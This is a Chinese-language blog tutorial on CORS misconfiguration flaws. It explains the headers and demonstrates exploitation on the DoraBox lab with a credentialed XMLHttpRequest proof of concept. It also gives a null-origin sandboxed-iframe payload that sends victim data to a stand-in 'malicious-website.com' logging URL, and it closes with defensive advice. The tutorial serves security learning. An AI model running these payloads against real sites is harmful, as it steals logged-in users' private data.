简介

网站如果存CORS跨域漏洞就会有用户敏感数据被窃取的风险。

跨域资源共享(CORS)是一种浏览器机制,可实现对位于给定域外部的资源的受控访问。它扩展了同源策略(SOP)并增加了灵活性。但是,如果网站的CORS策略配置和实施不当,它也可能带来基于跨域的攻击。CORS并不是针对跨域攻击(例如跨站点请求伪造(CSRF))的保护措施。

同源策略

这里我们必须要了解一下同源策略:同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。起源于多年前的策略是针对潜在的恶意跨域交互(例如,一个网站从另一个网站窃取私人数据)而制定的。通常,它允许一个域向其他域发出请求,但不允许访问响应。源由通信协议,域和端口号组成。

SOP是一个很好的策略,但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。

CORS跨域资源共享请求与响应

简单请求

跨域资源共享(CORS)规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin。

例如下面的来自站点 http://example.com 的网页应用想要访问 http://bar.com 的资源:

requests

1  GET /resources/public-data/ HTTP/1.1
2 Host: bar.com
3 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-us,en;q=0.5
6 Accept-Encoding: gzip,deflate
7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
8 Connection: keep-alive
9 Referer: http://example.com/examples/access-control/simpleXSInvocation.html
10 Origin: http://example.com

response

11  HTTP/1.1 200 OK
12 Date: Mon, 01 Dec 2020 00:23:53 GMT
13 Server: Apache/2.0.61
14 Access-Control-Allow-Origin: *
15 Keep-Alive: timeout=2, max=100
16 Connection: Keep-Alive
17 Transfer-Encoding: chunked
18 Content-Type: application/xml

第 1~9 行是请求首部。在第10行的请求头 Origin 表明该请求来源于 http://example.com

第 11~18 行是来自于 http://bar.com 的服务端响应。响应中携带了响应首部字段 Access-Control-Allow-Origin(第 14 行)。使用 Origin 和 Access-Control-Allow-Origin 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://example.com 的访问,该首部字段的内容如下:

Access-Control-Allow-Origin: http://example.com

如果跨域请求可以包含cookie的话,在服务器响应里应该有这一字段:

Access-Control-Allow-Credentials: true

这样的话攻击者就可以利用这个漏洞来窃取已经在这个网站上登录了的用户的信息(利用cookie)

漏洞利用

这里以droabox靶场为例



这个接口会返回已登录的用户的信息数据,通过访问该网页的响应我们看到这里可能存在CORS跨域资源共享漏洞



接下来我们就可以建立一个恶意的js代码

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://192.168.0.101/DoraBox/csrf/userinfo.php");
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
</body>
</html>

访问这个页面就可以获取已登录的用户的信息



该恶意代码首先定义一个函数cors,以get形式访问目标网址,创建XMLHttpRequest对象为xhttp,通过ajax的onreadystatechange判断请求状态,如果请求已完成,且相应已就绪,则弹出返回文本。

漏洞利用技巧

在之前我们了解了一些关于CORS跨域资源共享通信的一些字段含义,

CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。

一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。

首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:example.com的Enable框。

当我们进行测试时,看服务器响应头字段里可以关注这几个点:

最好利用的配置:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

可能存在可利用的配置:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

很好的条件但无法利用:

下面这组配置组合虽然看起来很完美但是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

单一的情况

Access-Control-Allow-Origin:*

总结漏洞的原因:

1:CORS服务端的 Access-Control-Allow-Origin 设置为了 *,并且 Access-Control-Allow-Credentials 设置为false,这样任何网站都可以获取该服务端的任何数据了。

2:有一些网站的Access-Control-Allow-Origin他的设置并不是固定的,而是根据用户跨域请求数据的Origin来定的。这时,不管Access-Control-Allow-Credentials 设置为了 true 还是 false。任何网站都可以发起请求,并读取对这些请求的响应。意思就是任何一个网站都可以发送跨域请求来获得CORS服务端上的数据。

其他可能利用漏洞的地方

解析Origin头时出错

一些支持从多个来源进行访问的应用程序通过使用允许的来源白名单来实现。收到CORS请求后,会将提供的来源与白名单进行比较。如果来源出现在白名单中,那么它会反映在Access-Control-Allow-Origin标题中,以便授予访问权限。例如,web应用收到一个正常的请求:

GET /data HTTP/1.1
Host: bar.com
...
Origin: https://example.com

web应用根据其允许的来源列表检查当前请求资源的来源,如果在列表中,则按以下方式反映该来源:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com

但在检测来源是否存在于白名单时经常可能出现问题,一些网站可能会允许其所有的子域(包括尚未存在未来可能存在的子域)来进行访问,或者允许其他网站的域以及其子域来访问请求。这些请求一般都通过通配符或者正则表达式来完成,但是如果这其中出现错误可能就会导致给予其他未被授权的域访问权限。例如:

例如,假设一个应用程序授予对以下列结尾的所有域的访问权限:

examplecom

攻击者可能可以通过注册域来获得访问权限:

exeexample.com

或者,假设应用程序授予对所有以example.com开头的域访问权限,攻击者就可以使用该域获得访问权限:

example.com.evil-user.net

利用相互受CORS信任的域来进行XSS

假如两个互相受信任的源,如果其中一个网站存在XSS,攻击者就可以利用XSS注入一些JavaScript代码,利用这些代码对信任其源的另一个网站进行敏感信息的获取。

如果进行CORS请求时网站响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://vulnerable.com
Access-Control-Allow-Credentials: true

就可以利用XSS漏洞在vulnerable.com网站上使用下面的URL来通过检索API密钥:

https://vulnerable.com/?xss=<script>cors-stuff-here</script>

白名单中的null值

CORS协议的一个重要安全前提是跨域请求中的Origin头不能被伪造,这个前提并不是总是成立。Origin头最早被提出用于防御CSRF攻击,它的语法格式在RFC 6564中被定义。RFC 6564规定,如果请求来自隐私敏感上下文时,Origin头的值应该为null,但是它却没有明确界定什么是隐私敏感上下文。

CORS协议复用了Origin头,但在CORS标准中同样缺乏对跨域请求Origin中null明确的定义和限制。有些开发者在网站上配置信任 null,用于与本地file页面共享数据,如下所示:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

在这种情况下,攻击者可以使用各种技巧来生成跨域请求,该请求构造的Origin为null值。这将满足白名单的要求,从而导致跨域访问。例如,可以使用iframe以下格式的沙盒跨域请求来完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send(); function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

这就意味着任何配置有Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials:true的网站等同于没有浏览器SOP的保护,都可以被其他任意域以这种方式读取内容。

CORS漏洞的自动化扫描

github上提供了一个关于扫描CORS配置漏洞的脚本

https://github.com/chenjj/CORScanner

CORScanner是一个python工具,旨在发现网站的CORS错误配置漏洞。它可以帮助网站管理员和渗透测试人员检查他们针对的域/ URL是否具有不安全的CORS策略。



但是这个好像不能扫描特定接口的

预防CORS漏洞

CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。下面介绍了一些针对CORS攻击的有效防御措施。

  1. 正确配置跨域请求

    如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
  2. 只允许信任的网站

    看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。
  3. 避免将null列入白名单

    避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS头。
  4. 避免在内部网络中使用通配符

    避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。
  5. CORS不能替代服务器端安全策略

    CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。

CORS跨域漏洞学习的更多相关文章

  1. SpringBoot学习(3)-SpringBoot添加支持CORS跨域访问

    SpringBoot学习(3)-SpringBoot添加支持CORS跨域访问 https://blog.csdn.net/yft_android/article/details/80307672

  2. 跨域漏洞丨JSONP和CORS跨域资源共享

    进入正文之前,我们先来解决个小问题,什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 跨域常见的两种方式,分别是JSONP和CORS. 今天i ...

  3. cors跨域和jsonp劫持漏洞 和 同源策略和跨域请求解决方案

    cors跨域和jsonp劫持漏洞: https://www.toutiao.com/a6759064986984645127/ 同源策略和跨域请求解决方案:https://www.jianshu.co ...

  4. 关于CORS跨域问题的理解

    起因 因为这段时间一个项目前后端分别部署在不同服务器的需要,抽空学习了一下CORS问题,不足之处,欢迎指教. 什么是CORS CORS是一个w3c标准,全称是"跨域资源共享"(Cr ...

  5. JSONP跨域和CORS跨域

    什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行JavaScript脚本时,会检查这 ...

  6. 一篇文章搞明白CORS跨域

    面试问到数据交互的时候,经常会问跨域如何处理.大部分人都会回答JSONP,然后面试官紧接着就会问:"JSONP缺点是什么啊?"这个时候坑就来了,如果面试者说它支持GET方式,然后面 ...

  7. 如何在ASP.NET Core中实现CORS跨域

    注:下载本文的完整代码示例请访问 > How to enable CORS(Cross-origin resource sharing) in ASP.NET Core 如何在ASP.NET C ...

  8. ajax——CORS跨域调用REST API 的常见问题以及前后端的设置

    RESTful架构是目前比较流行的一种互联网软件架构,在此架构之下的浏览器前端和手机端能共用后端接口. 但是涉及到js跨域调用接口总是很头疼,下边就跟着chrome的报错信息一起来解决一下. 假设:前 ...

  9. Web APi之手动实现JSONP或安装配置Cors跨域(七)

    前言 照理来说本节也应该讲Web API原理,目前已经探讨完了比较底层的Web API消息处理管道以及Web Host寄宿管道,接下来应该要触及控制器.Action方法,以及过滤器.模型绑定等等,想想 ...

随机推荐

  1. Visual C++ 6.0(完整绿色版)的下载、安装和破解(图解)

    vc工具的下载 链接: https://pan.baidu.com/s/1GTkcWjureiZS_2WL2dvrMw 提取码: 5859 首先点击链接下载好压缩包并解压 这里是解压好滴文件目录 双击 ...

  2. sound of the genuine

    “There is something in every one of you that waits and listens for the sound of the genuine in yours ...

  3. Java子父类间静态代码块、非静态代码块、构造方法的执行顺序

    子类A继承父类B,A a=new A(); 正确的执行顺序是:父类B静态代码块->子类A静态代码块->父类B非静态代码块->父类B构造函数->子类A非静态代码块->子类A ...

  4. [Asp.Net Core] Blazor WebAssembly - 工程向 - 如何在欢迎页面里, 预先加载wasm所需的文件

    前言, Blazor Assembly 需要最少 1.9M 的下载量.  ( Blazor WebAssembly 船新项目下载量测试 , 仅供参考. ) 随着程序越来越复杂, 引用的东西越来越多,  ...

  5. 测试开发专题:spring-boot如何使用JPA进行双向一对多配置

    本片文章我们主要介绍spring-boot如何进行JPA的配置以及如何进行实体间的一对多配置. 依赖准备 要在spring-boot使用jpa需要在项目中有进入相关的依赖,pom文件里加入下面内容 & ...

  6. xshell使用技巧

    XShell是一款Windows下的一款远程连接Linux主机的工具,类似的软件还有SecureCRT,putty等,但是个人感觉XShell好用,功能强大.. 一.复制和粘贴 linux的Shell ...

  7. 如何快速全面掌握Kafka?这篇文章总结了

    Kafka 是目前主流的分布式消息引擎及流处理平台,经常用做企业的消息总线.实时数据管道,本文挑选了 Kafka 的几个核心话题,帮助大家快速掌握 Kafka,包括: Kafka 体系架构 Kafka ...

  8. scipy.sparse的一些整理

    一.scipy.sparse中七种稀疏矩阵类型 1.bsr_matrix:分块压缩稀疏行格式 介绍 BSR矩阵中的inptr列表的第i个元素与i+1个元素是储存第i行的数据的列索引以及数据的区间索引, ...

  9. JAVA自定义数据类型用法

    一,自定义数据类型的概念:    我们就拿一部手机进行分析,它能用来做什么呢?它可以打电话,上网,聊微信等,这些就是 手机所提供的功能,也就是方法:手机也有它的特征,如颜色.尺寸大小.品牌型号等,这些 ...

  10. DBUtils 使用方法

    导包  jar  DBUtils.jar QueryRunner中提供对sql语句操作的API. update(Connection conn, String sql, Object... param ...